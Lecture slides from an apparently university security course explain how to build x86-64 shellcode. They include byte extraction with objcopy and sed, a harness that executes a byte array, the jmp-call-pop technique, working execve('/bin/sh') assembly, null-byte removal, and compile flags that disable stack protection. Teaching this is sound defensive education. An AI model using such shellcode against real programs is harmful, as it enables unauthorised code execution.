
NC STATE UNIVERSITY



CSC 405 Shellcode

Alexandros Kapravelos akaprav@ncsu.edu

A Simple, Innocent Assembly Program

	Instruction	Hexadecimal	Explanation
	••••	•••	stuff before our snippet
	xor %ebx, %ebx	31 DB	Sets the EBX register to 0 (xor value, value \Rightarrow all zeros)
tion	xor %eax, %eax	31 C0	Sets the EAX register to 0
Instruction	mov %ebx, %edi	89 DF	Copies the value in the EBX register to EDI (both are now 0)
	mov %eax, %edx	89 C2	Copies the value in the EAX register to EDX (both are now 0)
Program	cmp \$0, %eax	83 F8 00	Compare (If EAX == 0, set ZERO FLAG (ZF) to 1, else set ZF to 0)
Pro	je helloCall	74 C3	Conditionally jump to the helloCall label, if ZF is 1 (TRUE)
	jmp exitCall	EB E1	Else, unconditionally jump to the exitCall label

A Simple, Innocent Assembly Program

	Instruction	Hexadecimal	Explanation		
	•••	•••	stuff before our snippet		
	xor %ebx, %ebx	31 DB	Sets the EBX register to 0 (x	or value, value \Rightarrow all zeros)	
tion	<pre>xor %eax, %eax</pre>	31 C0	Sets the EAX register to 0		
Instruction	mov %ebx, %edi	89 DF	Copies the value in the EBX r	An attacker's goal is to	
	mov %eax, %edx	89 C2	Copies the value in the EAX r	essentially inject malicious co	
Program	MALICIOUS CODE	MALICIOUS HEX	MALICIOUS DESCRIPTION!	into the program to disrupt th normal flow of execution	e
Pro	cmp \$0, %eax	83 F8 00	Compare (If EAX == 0, set ZER		
	je helloCall	74 C3	Conditionally jump to the hel	loCall label, if ZF is 1 (TRUE)	
	jmp exitCall	EB E1	Else, unconditionally jump to	the exitCall label	

Why can't we compile our attack into a binary and just use that?

00000000	7F45	4C46	0201	0100	0000	0000	0000	0000	0 ELF
00000010	0200	3 E Ø Ø	0100	0000	3010	4000	0000	0000	>0.@
00000020	4000	0000	0000	0000	4821	0000	0000	0000	@н!
00000030	0000	0000	4000	3800	0300	4000	0600	0500	<mark>@.</mark> 8@
00000040	0100	0000	0400	0000	0000	0000	0000	0000	
00000050	0000	4000	0000	0000	0000	4000	0000	0000	· . @ @
00000060	E800	0000	0000	0000	E800	0000	0000	0000	èè
00000070	0010	0000	0000	0000	0100	0000	0500	0000	
00000080	0010	0000	0000	0000	0010	4000	0000	0000	
00000090	0010	4000	0000	0000	3F00	0000	0000	0000	· . @ ?
000000A0	3 F 0 0	0000	0000	0000	0010	0000	0000	0000	?
000000000	0100	0000	0600	0000	0020	0000	0000	0000	
00000000	0020	4000	0000	0000	0020	4000	0000	0000	. @ @

Because programs also contain lots of metadata

EXECUTABLE AND LINKABLE FORMAT ANGE ALBERTINI



<pre>me@nux:~\$./mini me@nux:~\$ echo \$? 42</pre> 0 1 2 3 4 5 6 7 8 9 A B C D E F 00: 7F .E .L .F 01 01 01 10: 02 00 03 00 01 00 00 00 60 00 08 40 00 00 00 20: 34 00 20 00 01 00 40: 01 00 00 00 00 00 00 00 00 00 00 00 00	ELF HEADER IDENTIFY AS AN ELF TYPE SPECIFY THE ARCHITECTURE	<pre>FIELDS e_ident EI_MAG EI_CLASS, EI_DATA EI_VERSION e_type e_machine e_version e_entry e_phoff e_ehsize e_phentsize e_phnum</pre>	VALUES 0x7F, "ELF" 1ELFCLASS32,1ELFDATA2LSB 1EV_CURRENT 2ET_EXEC 3EM_386 1EV_CURRENT 0x8000060 0x000040 0x0034 0x0020 0001
50: 70 00 00 00 70 00 00 05 00 00 00 60: BB 2A 00 00 00 B8 01 00 00 00 CD 80 MINI	PROGRAM HEADER TABLE EXECUTION INFORMATION	<pre>p_type p_offset p_vaddr p_paddr p_filesz p_memsz p_flags</pre>	1 ^{PT_LOAD} 0 0x8000000 0x8000000 0x0000070 0x0000070 5 ^{PF_R} 1 ^{PF_X}
1 \\\\\	CODE mov	ebx, 42 eax, SC_EXIT ¹	JIVALENT C CODE → return 42;

00000000	7F45	4C46	0201	0100	0000	0000	0000	0000	0 ELF
00000010	0200	3 E Ø Ø	0100	0000	3010	4000	0000	0000	>0.@
00000020	4000	0000	0000	0000	4821	0000	0000	0000	@H!
00000030	0000	0000	4000	3800	0300	4000	0600	0500	<mark>@.</mark> 8@
00000040	0100	0000	0400	0000	0000	0000	0000	0000	
00000050	0000	4000	0000	0000	0000	4000	0000	0000	· · · @ · · · · · · · · · · @ · · · · ·
00000060	E800	0000	0000	0000	E800	0000	0000	0000	èè
00000070	0010	0000	0000	0000	0100	0000	0500	0000	
00000080	0010	0000	0000	0000	0010	4000	0000	0000	· · · · · · · · · · <mark>·</mark> @ · · · · ·
00000090	0010	4000	0000	0000	3 F 0 0	0000	0000	0000	<mark>@ ? .</mark>
000000A0	3 F 0 0	0000	0000	0000	0010	0000	0000	0000	?
000000B0	0100	0000	0600	0000	0020	0000	0000	0000	
00000000	0020	4000	0000	0000	0020	4000	0000	0000	. @ @

Our 64-bit program's entry point is at **0x00001030** (swapped because little endian)

xor % ebx, %ebx	31 DB		S	ets the E	BX regis	ter to 0	(xor val	ue, value	⇒ a	11	ze	ro	s)					
00001030	31DB	3100	89DF	89C2	83F8	0074	C3EB	E100										
ŀ	And if w	ve lool	ked at	offset	0x00	0010 3	0, the	re's ou	r pro	bĈ	Ira	an	n!					
00000080	0100	0000	0600	0000	0020	0000	0000	0000		•	•	•	• •	•	•	•	• •	•
000000A0	3F00	0000	0000	0000	0010	0000	0000	0000	?							•		
00000090	0010	4000	0000	0000	3 F 0 0	0000	0000	0000		. ().				?.			•
08000080	0010	0000	0000	0000	0010	4000	0000	0000		• •			• •			@		
00000070	0010	0000	0000	0000	0100	0000	0500	0000			•							
00000060	E800	0000	0000	0000	E800	0000	0000	0000	è		•				è.			
00000050	0000	4000	0000	0000	0000	4000	0000	0000		. (ð .					@		
00000040	0100	0000	0400	0000	0000	0000	0000	0000				•	• •					
00000030	0000	0000	4000	3800	0300	4000	0600	0500				0	. 8			@		
00000020	4000	0000	0000	0000	4821	0000	0000	0000	@						Η!			
00000010	0200	3E00	0100	0000	3010	4000	0000	0000		. >	• •				0.	@		
00000000	7F45	4C46	0201	0100	0000	0000	0000	0000	0	EL	. F					•		•

Get the raw executable bytes from the binary
objcopy -0 binary -j .text helloV2 hello_raw_bytes
This will look in the binary, find that offset and output them to the file hello_raw_bytes

1	48c7	c001	0000	0048	c7c7	0100	0000	48c7
2	c600	2040	0048	c7c2	0600	0000	0f05	eb00
3	48c7	c03c	0000	0048	c7c7	0000	0000	0f05
4	31db	31c0	89df	89c2	83f8	0074	c3eb	e1

Contents of hello_raw_bytes

Get the raw executable bytes from the binary
objcopy -0 binary -j .text helloV2 hello_raw_bytes
This will look in the binary, find that offset and output them to the file hello_raw_bytes

Escape the executable bytes od -tx1 hello_raw_bytes | sed -e 's/^[0-9]* //' -e '\$d' -e 's/^/ /' -e 's/ /\\x/g' | tr -d '\n'

Get the raw executable bytes from the binary
objcopy -0 binary -j .text helloV2 hello_raw_bytes
This will look in the binary, find that offset and output them to the file hello_raw_bytes

Escape the executable bytes

od -tx1 hello_raw_bytes | sed -e 's/^[0-9]* //' -e '\$d' -e 's/^/
/' -e 's/ /\\x/g' | tr -d '\n'

od -tx1 outputs each byte as two hexadecimal digits on multiple lines ity/Code Examples/02-shellcode\$ od -tx1 hello_raw_bytes 0000000 48 c7 c0 01 00 00 00 48 c7 c7 01 00 00 00 48 c7 0000020 c6 00 20 40 00 48 c7 c2 06 00 00 00 0f 05 eb 00 0000040 48 c7 c0 3c 00 00 00 48 c7 c7 00 00 00 00 0f 05 0000060 31 db 31 c0 89 df 89 c2 83 f8 00 74 c3 eb e1 0000077

Get the raw executable bytes from the binary
objcopy -0 binary -j .text helloV2 hello_raw_bytes
This will look in the binary, find that offset and output them to the file hello_raw_bytes

Escape the executable bytes od -tx1 hello_raw_bytes | sed -e 's/^[0-9]* //' -e '\$d' -e 's/^/ /' -e 's/ /\\x/g' | tr -d '\n'

This output is passed to sed which:

- removes line numbers,
- removes last line,
- replaces spaces with '\x'

\x48\xc7\xc0\x01\x00\x00\x00\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7
\xc6\x00\x20\x40\x00\x48\xc7\xc2\x06\x00\x00\x00\x05\xeb\x00
\x48\xc7\xc0\x3c\x00\x00\x00\x48\xc7\xc7\xc0\x00\x00\x00\x06\x05
\x31\xdb\x31\xc0\x89\xdf\x89\xc2\x83\xf8\x00\x74\xc3\xeb\xe1

Get the raw executable bytes from the binary
objcopy -0 binary -j .text helloV2 hello_raw_bytes
This will look in the binary, find that offset and output them to the file hello_raw_bytes

Escape the executable bytes od -tx1 hello_raw_bytes | sed -e 's/^[0-9]* //' -e '\$d' -e 's/^/ /' -e 's/ /\\x/g' | tr -d '\n'

\x48\xc7\xc0\x01\x00\x00\x00\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7 \xc6\x00\x20\x40\x00\x48\xc7\xc2\x06\x00\x00\x00\x0f\x05\xeb\x00 \x48\xc7\xc0\x3c\x00\x00\x00\x48\xc7\xc7\x00\x00\x00\x00\x0f\x05 \x31\xdb\x31\xc0\x89\xdf\x89\xc2\x83\xf8\x00\x74\xc3\xeb\xe1

imagine this is now all on 1 line

Which **finally** deletes newline characters

Shellcode

A set of instructions injected and then executed by an exploited program

- usually, a **shell** is started (hence the name)
 - for remote exploits input/output is redirected to a socket
- use system call (execve) to spawn shell

Shellcode can do practically anything (given enough permissions)

- create a new user
- change a user password
- modify the .rhost file
- bind a shell to a port (remote shell)
- open a connection to the attacker machine

How do we test a shellcode?

How do we test a shelloode? simulate this code and jump to it?


```
#include <stdio.h>
#include <string.h>
```

```
int (*ret)() = (int(*)())shellcode;
ret();
}
```

\$ gcc shelltest.c -o shelltest -fno-stack-protector -z execstack -no-pie

We can store the output from objcopy as an array and call that


#include <stdio.h>
#include <string.h>



\$ gcc shelltest.c -o shelltest -fno-stack-protector -z execstack -no-pie

#include <stdio.h>
#include <string.h>


<pre>int main() {</pre>
<pre>unsigned char shellcode[] = "\x48\xc7\xc0\x01\x00\x00\x00\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7</pre>
\xc6\x00\x20\x40\x00\x48\xc7\xc2\x06\x00\x00\x00\x05\xeb\x00
\x48\xc7\xc0\x3c\x00\x00\x00\x48\xc7\xc7\x00\x00\x00\x00\x06\x05
\x31\xdb\x31\xc0\x89\xdf\x89\xc2\x83\xf8\x00\x74\xc3\xeb\xe1";



\$ gcc shelltest.c -o shelltest -fno-stack-protector -z execstack -no-pie

#include <stdio.h>
#include <string.h>

<pre>int main() {</pre>	
<pre>unsigned char shellcode[] =</pre>	"\x48\xc7\xc0\x01\x00\x00\x00\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7
	\xc6\x00\x20\x40\x00\x48\xc7\xc2\x06\x00\x00\x00\x0f\x05\xeb\x00
	\x48\xc7\xc0\x3c\x00\x00\x00\x48\xc7\xc7\x00\x00\x00\x00\x0f\x05
	<pre>\x31\xdb\x31\xc0\x89\xdf\x89\xc2\x83\xf8\x00\x74\xc3\xeb\xe1";</pre>



Nope.

#include <stdio.h>
#include <string.h>

```
int (*ret)() = (int(*)())shellcode;
ret();
}
```



```
$ gcc shelltest.c -o shelltest -fno-stack-protector -z execstack -no-pie
$ ./shelltest
```

Let's take a look at the binary again to see if we can see where things went wrong

\$ objdump -zd helloV2

This will display information from binary files

- $z \Rightarrow$ display section headers
- $d \Rightarrow$ disassemble the executable sections (convert to assembly)

\$ objdump -zd helloV2

helloV2: file format elf64-x86-64

Disassembly of section .text:

0000000000401000 <helloCall>:

401000:	48	c7	c0	01	00	00	00	mov	\$0x1,%rax
401007:	48	c7	c7	01	00	00	00	mov	\$0x1,%rdi
40100e:	48	c7	c6	00	20	40	00	mov	\$0x402000,%rsi
401015:	48	c7	c2	06	00	00	00	mov	\$0x6,%rdx
40101c:	Øf	05						syscal	L
40101e:	eb	00						jmp	401020 <exitcall></exitcall>
000000000040102	0 <	exit	Cal	1>					
401020:	48	c7	c0	3c	00	00	00	mov	\$0x3c,%rax
401027:	48	c7	c7	00	00	00	00	mov	\$0x0,%rdi
40102e:	0f	05						syscal	L
40102e: 000000000040103			art:	>:				syscal:	L
	0 <_		art	»:				syscal: xor	l %ebx,%ebx
000000000040103	0 <_ 31	_sta	art:	»:				2	
000000000040103 401030:	0 <_ 31 31	_sta db	art:	>:				xor	%ebx,%ebx
0000000000401030 401030: 401032:	0 < 31 31 89	_sta db c0	art	>:				xor xor	%ebx,%ebx %eax,%eax
0000000000401030 401030: 401032: 401034:	0 < 31 31 89 89	_sta db c0 df		>:				xor xor mov	%ebx,%ebx %eax,%eax %ebx,%edi
0000000000401030 401030: 401032: 401034: 401036:	0 < 31 31 89 89 83	_sta db c0 df c2		>:				xor xor mov mov	%ebx,%ebx %eax,%eax %ebx,%edi %eax,%edx
0000000000401030 401030: 401032: 401034: 401036: 401038:	0 < 31 31 89 89 83 74	_sta db c0 df c2 f8		»:				xor xor mov mov cmp	%ebx,%ebx %eax,%eax %ebx,%edi %eax,%edx \$0x0,%eax

\$ objdump -zd helloV2

helloV2: file format elf64-x86-64

Disassembly of section .text:

0000000000401000 <helloCall>:

401000:	48	c7	c0	01	00	00	00	mov	\$0x1,%rax
401007:	48	c7	c7	01	00	00	00	mov	\$0x1,%rdi
40100e:	48	c7	c 6	00	20	40	00	mov	\$0x402000,%rsi <
401015:	48	c7	c2	06	00	00	00	mov	\$0x6,%rdx
40101c:	Øf	05						syscal	1
40101e:	eb	00						jmp	401020 <exitcall></exitcall>
000000000040102	0 <	exit	tCa	11>	:				
401020:	48	c7	c0	3c	00	00	00	mov	\$0x3c,%rax
401027:	48	c7	c7	00	00	00	00	mov	\$0x0,%rdi
40102e:	0f	05						syscal	1
000000000040103	0 <	_sta	art	>:					
401030:	31	db						xor	%ebx,%ebx
401032:	31	c0						xor	%eax,%eax
401034:	89	df						mov	%ebx,%edi
401036:	89	c2						mov	%eax,%edx
401038:	83	f8	00					cmp	\$0x0,%eax
40103b:	74	c3						je	401000 <hellocall></hellocall>
40103d:	eb	e1						jmp	401020 <exitcall></exitcall>

That's funny, I don't remember writing that...

\$ objdump -zd helloV2

helloV2: file format elf64-x86-64

Disassembly of section .text:

0000000000401000 <helloCall>:

401000:	48 d	c7 (c0	01	00	00	00	mov	\$0x1,%rax
401007:	48 d	:7 (c7	01	00	00	00	mov	\$0x1,%rdi
40100e:	48 d	:7 (c6	00	20	40	00	mov	\$0x402000,%rsi <
401015:	48 d	:7 (c2	06	00	00	00	mov	\$0x6,%rdx
40101c:	0f 0	95						syscal	L
40101e:	eb 0	90						jmp	401020 <exitcall></exitcall>
000000000004010	20 <e></e>	<it(< td=""><td>Cal</td><td>1>:</td><td>:</td><td></td><td></td><td></td><td></td></it(<>	Cal	1>:	:				
401020:	48 d	c7 (c0	3c	00	00	00	mov	\$0x3c,%rax
401027:	48 d	:7 (c7	00	00	00	00	mov	\$0x0,%rdi
40102e:	0f 0	95						syscal	L
00000000004010	30 <_s	star	rt>	:					
00000000004010 401030:	2_> 30 31 د		rt>	:				xor	%ebx,%ebx
	_	db	rt>	:				xor xor	%ebx,%ebx %eax,%eax
401030:	31 d	db :0	rt>	:					•
401030: 401032:	31 d 31 d	db :0 df	rt>	:				xor	%eax,%eax
401030: 401032: 401034:	31 a 31 a 89 a	1b 20 1f 22		:				xor mov	%eax,%eax %ebx,%edi
401030: 401032: 401034: 401036:	31 c 31 c 89 c 89 c	1b :0 1f :2 F8 (:				xor mov mov	%eax,%eax %ebx,%edi %eax,%edx
401030: 401032: 401034: 401036: 401038:	31 0 31 0 89 0 89 0 83 1	db 20 df 22 F8 (23		:				xor mov mov cmp	%eax,%eax %ebx,%edi %eax,%edx \$0x0,%eax

0x402000 was our program's .data section, which our shellcode does not have!


- Problem position of code in memory is unknown, so you cannot use pointers
 - How to determine *address of string*

- Problem position of code in memory is unknown, so you cannot use pointers
 - How to determine address of string
- We can make use of instructions using relative addressing
- In general, you can push a string to the stack and RSP will hold a reference to it until the next push command

- Problem position of code in memory is unknown, so you cannot use pointers
 - How to determine address of string
- We can make use of instructions using relative addressing
- In general, you can push a string to the stack and RSP will hold a reference to it until the next push command
- **call** instruction saves the instruction pointer on to the stack and jumps

- Problem position of code in memory is unknown, so you cannot use pointers
 - How to determine address of string
- We can make use of instructions using relative addressing
- In general, you can push a string to the stack and RSP will hold a reference to it until the next push command
- **call** instruction saves the instruction pointer on to the stack and jumps
- Idea
 - jmp instruction at beginning of shellcode to call instruction
 - call instruction right before the "Hello" string
 - call jumps back to first instruction after jump
 - now the address of "Hello" is on the stack!

Relative Addressing Technique



.text						
.global _start						
_start:						
jmp saveme						
helloCall:						
pop %rsi	# puts "Hello\n" in to RSI					
mov \$1, %rax	<pre># opcode for write system call</pre>					
mov \$1, %rdi	# 1st arg, stdout					
mov %rsi, %rsi	# 2nd arg, address					
mov \$6, %rdx	# 3rd arg, len					
syscall	<pre># system call interrupt</pre>					
jmp exitCall	<pre># jump to exitCall label</pre>					
exitCall:						
mov \$60, %rax	# sys_exit					
mov \$0, %rdi	<pre># exit code 0 (success)</pre>					
syscall						
saveme:						
call helloCall						
.string "Hello\n"						

.text					
.global _start					
_start:					
jmp saveme 🔶	We immediately trigger a jump				
helloCall:					
pop %rsi	<pre># puts "Hello\n" in to RSI</pre>				
mov \$1, %rax	<pre># opcode for write system call</pre>				
mov \$1, %rdi	# 1st arg, stdout				
mov %rsi, %rsi	# 2nd arg, address				
mov \$6, %rdx	# 3rd arg, len				
syscall	<pre># system call interrupt</pre>				
jmp exitCall	<pre># jump to exitCall label</pre>				
exitCall:					
mov \$60, %rax	# sys_exit				
mov \$0,%rdi	<pre># exit code 0 (success)</pre>				
syscall					
saveme:					
<pre>call helloCall</pre>					
.string "Hello\n'	1				

.text				
.global _start				
_start:				
jmp saveme				
helloCall:				
pop %rsi	# puts "Hello\n" in to RSI			
mov \$1, %rax	# opcode for write system call			
mov \$1, %rdi	# 1st arg, stdout			
mov %rsi, %rsi	# 2nd arg, address			
mov \$6, %rdx	# 3rd arg, len			
syscall	# system call interrupt			
jmp exitCall	<pre># jump to exitCall label</pre>			
exitCall:				
mov \$60, %rax	# sys_exit			
mov \$0, %rdi	<pre># exit code 0 (success)</pre>			
syscall				
saveme:				
call helloCall	Which makes a call			
.string "Hello\n"				

.text				
.globa	l_st	art		
_start	::			
jmp	saven	ne		
helloC	all:			
рор	%rsi		#	puts "Hello\n" in to RSI
mov	\$1,	%rax	#	opcode for write system call
mov	\$1,	%rdi	#	1st arg, stdout
mov	%rsi,	%rsi	#	2nd arg, address
mov	\$6 ,	%rdx	#	3rd arg, len
sysc	all		#	system call interrupt
jmp	exitC	Call	#	jump to exitCall label
exitCa	11:			
mov	\$60 ,	%rax	#	sys_exit
mov	\$0,	%rdi	#	exit code 0 (success)
sysc	all			
saveme	:			
call	hell	loCall		So "Hello\n" gets added to
.str	ing "	'Hello∖n" .	<	the stack "for later"

.text			
.global _start			
_start:			
jmp saveme			
helloCall:			
pop %rsi	# puts "Hello\n" in to RSI		
mov \$1, %rax	# opcode for write system call		
mov \$1, %rdi	# 1st arg, stdout		
mov %rsi, %rsi	# 2nd arg, address		
mov \$6, %rdx	# 3rd arg, len		
syscall	# system call interrupt		
jmp exitCall	<pre># jump to exitCall label</pre>		
exitCall:			
mov \$60, %rax	<pre># sys_exit</pre>		
mov \$0, %rdi	<pre># exit code 0 (success)</pre>		
syscall			
saveme:	This is allowed because Assembly		
<pre>call helloCall</pre>	doesn't have strict rules like		
.string "Hello\n" <	higher-level languages		

.text		
.global _start		
_start:		
jmp saveme		
helloCall:		It's now "later"
pop %rsi	# puts "Hello\n" in to RSI	It S HOW Tatel
mov \$1, %rax	# opcode for write system call	
mov \$1, %rdi	# 1st arg, stdout	
mov %rsi, %rsi	# 2nd arg, address	
mov \$6, %rdx	# 3rd arg, len	
syscall	# system call interrupt	
jmp exitCall	<pre># jump to exitCall label</pre>	
exitCall:		
mov \$60, %rax	# sys_exit	
mov \$0, %rdi	<pre># exit code 0 (success)</pre>	
syscall		
saveme:		
<pre>call helloCall</pre>		
.string "Hello\n		

HelloV3

.text	
.global _start	
_start:	
jmp saveme	
helloCall:	
pop %rsi	# puts "Hello\n" in to RSI
mov \$1, %rax	<pre># opcode for write system call</pre>
mov \$1, %rdi	# 1st arg, stdout
mov %rsi, %rsi	# 2nd arg, address
mov \$6, %rdx	# 3rd arg, len
syscall	<pre># system call interrupt</pre>
jmp exitCall	<pre># jump to exitCall label</pre>
exitCall:	
mov \$60, %rax	<pre># sys_exit</pre>
mov \$0, %rdi	<pre># exit code 0 (success)</pre>
syscall	
saveme:	
<pre>call helloCall</pre>	
.string "Hello\n"	

Disassembled this is

\xeb\x2b\x5e\x48\xc7\xc0\x01\x00\x00
\x00\x48\xc7\xc7\x01\x00\x00\x00\x48
\x89\xf6\x48\xc7\xc2\x06\x00\x00\x00
\x0f\x05\x48\xc7\xc0\x3c\x00\x00\x00
\x48\xc7\xc7\x00\x00\x00\x00\x00\x05
\xe8\xd0\xff\xff\xff\x48\x65\x6c\x6c
\x6f\x0a\x00

Testing the Shellcode (again)

```
#include <stdio.h>
#include <string.h>
```

```
int (*ret)() = (int(*)())shellcode;
ret();
}
```

```
$ gcc shelltest.c -o shelltest -fno-stack-protector -z execstack -no-pie
$ ./shelltest
```

Testing the Shellcode (again)

#include <stdio.h>
#include <string.h>

```
int (*ret)() = (int(*)())shellcode;
ret();
}
```

\$ gcc shelltest.c -o shelltest -fno-stack-protector -z execstack -no-pie
\$./shelltest

```
Hello
```

SUCCESS



Not Actually Shellcode

#include <stdio.h>
#include <string.h>

<pre>int main() {</pre>	
<pre>unsigned char shellcode[] =</pre>	"\xeb\x2b\x5e\x48\xc7\xc0\x01\x00\x00\x00\x48\xc7\xc7\x01\x00\x00
	\x00\x48\x89\xf6\x48\xc7\xc2\x06\x00\x00\x00\x0f\x05\x48\xc7\xc0
	\x3c\x00\x00\x00\x48\xc7\xc7\x00\x00\x00\x00\x0f\x05\xe8\xd0\xff
	\xff\xff\x48\x65\x6c\x6f\x0a\x00";

```
int (*ret)() = (int(*)())shellcode;
ret();
}
```

```
$ gcc shelltest.c -o shelltest -fno-sta
$ ./shelltest
```

```
Hello
```

Where Shell?

A set of instructions injected and then executed

- usually, a **shell** is started (hence the name)
 - for remote exploits input/output is redirected to
- use system call (execve) to spawn shell

Shellcode

#include <stdlib.h>

#include <unistd.h>

```
int main(int argc, char **argv) {
    char *shell[2];
    shell[0] = "/bin/sh";
    shell[1] = 0;
    execve(shell[0], &shell[0], 0);
    exit(0);
}
```

Shellcode

#include <stdlib.h>

#include <unistd.h>

```
int main(int argc, char **argv) {
  char *shell[2];
  shell[0] = "/bin/sh";
  shell[1] = 0;
  execve(shell[0], &shell[0], 0);
  exit(0);
int execve(char *file, char *argv[], char *env[])
*file:
        name of program to be executed "/bin/sh"
```

*argv[]: address of null-terminated argument array {"/bin/sh", NULL}

*env[]: address of null-terminated environment array NULL (0)

Disassembling execve

```
#include <stdlib.h>
```

```
#include <unistd.h>
```

```
int main(int argc, char **argv) {
    char *shell[2];
    shell[0] = "/bin/sh";
    shell[1] = 0;
    execve(shell[0], &shell[0], 0);
```

```
exit(0);
```

```
}
```

```
int execve(char *file, char *argv[], char *env[])
```

*file: name of program to be executed "/bin/sh"
*argv[]: address of null-terminated argument array { "/bin/sh", NULL }
*env[]: address of null-terminated environment array NULL (0)

1	.LC0:		
2		.string	"/bin/sh"
З	main:		
4		pushq	%rbp
5		movq	%rsp, %rbp
6		subq	\$32, %rsp
7		movl	%edi, -20(%rbp)
8		movq	%rsi, -32(%rbp)
9		movq	\$ <u>.LC0</u> , -16(%rbp)
10		movq	\$0, -8(%rbp)
11		movq	-16(%rbp), %rax
12		leaq	-16(%rbp), %rcx
13		movl	\$0, %edx
14		movq	%rcx, %rsi
15		movq	%rax, %rdi
16		call	execve
17		movl	\$0, %edi
18		call	exit

Recall

- Problem position of code in memory is unknown, so you cannot store /bin/sh in .data (or .LC0, or anywhere outside .text)
 - We need to determine the address of our string
- How we tackled this last time
 - jmp instruction at beginning of shellcode to call instruction
 - call instruction right before the "Hello" string
 - call jumps back to first instruction after jump
 - now the address of "Hello" is on the stack!

Translated for /bin/sh

- file parameter
 - we need the null terminated string /bin/sh somewhere in memory
- argv parameter
 - we need the address of the string /bin/sh somewhere in memory followed by a NULL word
 - OR just NULL
- env parameter
 - we need a NULL word somewhere in memory
 - we will reuse the null pointer at the end of argv
 - OR just NULL

Spawning a Shell in Assembly

- 1. Move the system call number (0x3B) into %rax
- 2. Move the address of string "/bin/sh" into %rdi
- 3. Move the address of the address of "/bin/sh" into %rsi (using lea)
- 4. Move the address of null word into %rdx

lea (load effective address) used to put a memory address into the destination

5. Execute the **syscall** instruction

Spawning a Shell in Assembly - YOLO

- 1. Move the system call number (0x3B) into %rax
- 2. Move the address of string "/bin/sh" into %rdi
- 3. Move the address of the address of "/bin/sh" into %rsi (using lea) let's put NULL
- 4. Move the address of null word into %rdx let's put NULL
- 5. Execute the syscall instruction

.text

.global main

main:

jmp saveme

shellcode:

pop %rdi	<pre># pop stack, placing "/bin/sh" into RDI</pre>
xor %rax,%rax	# Zero out RAX (setting it to NULL)
xor %rsi, %rsi	# Zero out RSI (setting it to NULL)
xor %rdx, %rdx	# Zero out RDX (setting it to NULL)
movb \$0x3B, <mark>%al</mark>	# ~magic~
syscall	

saveme:

call shellcode # Jump to the shellcode label
.string "/bin/sh" # Places this string on the stack "for later"

.text

.global main

main:

jmp saveme

shellcode:

pop %rdi	<pre># pop stack, placing "/bin/sh" into RDT</pre>
xor %rax, %rax	# Zero out RA AL is the lower 8 bits of RAX, so
xor %rsi, %rsi	# Zero out R: move the system call number
xor %rdx, %rdx	# Zero out RI for execve into the part of RAX,
movb \$0x3B, %al	# ~magic~ and leave the rest as it was (zeroed out, or null)
syscall	

saveme:

call shellcode # Jump to the shellcode label
.string "/bin/sh" # Places this string on the stack "for later"

.text

.global main

main:

jmp saveme

shellcode:

pop %rdi	<pre># pop stack, placing "/bin/sh" into RDT</pre>
xor %rax, %rax	# Zero out RA AL is the lower 8 bits of RAX, so
xor %rsi, %rsi	# Zero out R: move the system call number
xor %rdx, %rdx	# Zero out RI for execve into the part of RAX,
movb \$0x3B, %al	# ~magic~ and leave the rest as it was (zeroed out, or null)
syscall	

saveme:

call shellcode # Jump to the shellcode label
.string "/bin/sh" # Places this string on the stack "for later"

\$ gcc -nostartfiles shellasm.s -o shellasm

Avoid linking to standard startup files

- \$./shellasm
- \$ (shell, but initiated by our program)

\$ gcc -nostartfiles shellasm.s -o shellasm

Avoid linking to standard startup files

- \$./shellasm
- \$ (shell, but initiated by our program)

Another way to think about it: Instead of just printing "Hello", we now have **terminal access**!

\$ gcc -nostartfiles shellasm.s -o shellasm

Avoid linking to standard startup files

- \$./shellasm
- \$ (shell, but initiated by our program)

Another way to think about it: Instead of just printing "Hello", we now have **terminal access**!

But there's always a catch...

Problem

Shellcode is normally copied into a String buffer...

Problem

Shellcode is normally copied into a String buffer...

...and String buffers end with **null** bytes (\$0x00)

Problem

Shellcode is normally copied into a String buffer...

...and String buffers end with **null** bytes (\$0x00)

...which means any **null** bytes we inject will cause the buffer to end, potentially prematurely, not allowing us to inject the full payload!

Eliminating Null Bytes from our Shellcode

Rather than explicitly including 0×00 , we can use some fancy machine code to "simulate" null bytes

Instead of mov \$0x00, register...

... use xor register, register

If you (for some reason) need a 1...

...use xor register, register inc register

Because your OS cares about you.

displays information about ELF files

```
$ readelf -S shellasm
```

Key to Flags:

- W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
- L (link order), O (extra OS processing required), G (group), T (TLS),
- C (compressed), x (unknown), o (OS specific), E (exclude),
- D (mbind), l (large), p (processor specific)

displays information about ELF files

\$ readelf -S shellasm

```
Key to Flags:
```

- W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
- L (link order), 0 (TAS), C (group), T (TLS),

E (exclude),

C (compress

D (mbind),

The only things your OS allows .text to do are be **alloc**ated into memory and **execute**d

displays information about ELF files

```
$ readelf -S shellasm
```

```
Key to Flags:
```

```
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), 0 fra OS processing required), G (group), T (TLS),
C (compre
D (mbind) This means if you try to write here,
you'll only get segfaults
(exclude),
```

(this is a warning for HW1)

Can we execute the .data section?

Can we execute the .data section?

Yes.


But you gotta do stuff first.

Can we <u>execute</u> the .data section? Yes.

.data PROGBITS 000000000601018 00001018 WA 0 0 8


Linux kernel 5.4 changed the behavior of .data and so you can if you explicitly set the permissions to jump to a global variable

But you gotta do stuff first.



Preparing for Homework 1

Disclaimer: The teaching staff cannot debug all the possible system configurations for every single student. The demonstration today should serve as your backup plan if you cannot get things working on your own machines / VMs. Did you even read this. This is 100% our way of ensuring that you have a system capable of working through this class' assignments.



https://vcl.ncsu.edu/

SSH'ing into the VCL

New Reservation	0
New Reservation	
Please select the environment you want to use from the list: parrotOS	
Reservation type: Basic Reservation Imaging Reservation	
Image Description: ParrotOS version 5	
When would you like to use the environment?	
Now	
O Later: Wednesday ∨ At 11 ∨ 00 ∨ p.m. ∨	
Duration 10 hours	
Estimated load time: < 1 minute	
Create Reservation Cancel	

SSH'ing into the VCL

Connect to reservation using xRDP for Linux

You will need to use a Remote Desktop program to connect to the system. If you did not click on the **Connect!** button from the computer you will be using to access the VCL system, you will need to return to the **Current Reservations** page and click the **Connect!** button from a web browser running on the same computer from which you will be connecting to the VCL system. Otherwise, you may be denied access to the remote computer.

Use the following information when you are ready to connect:

Remote Computer: A 152.0.0.1 IP Address

User ID: Your NCSU Unity ID

Password: (use your campus password)

SSH'ing into the VCL

Connect to reservation using xRDP for Linux

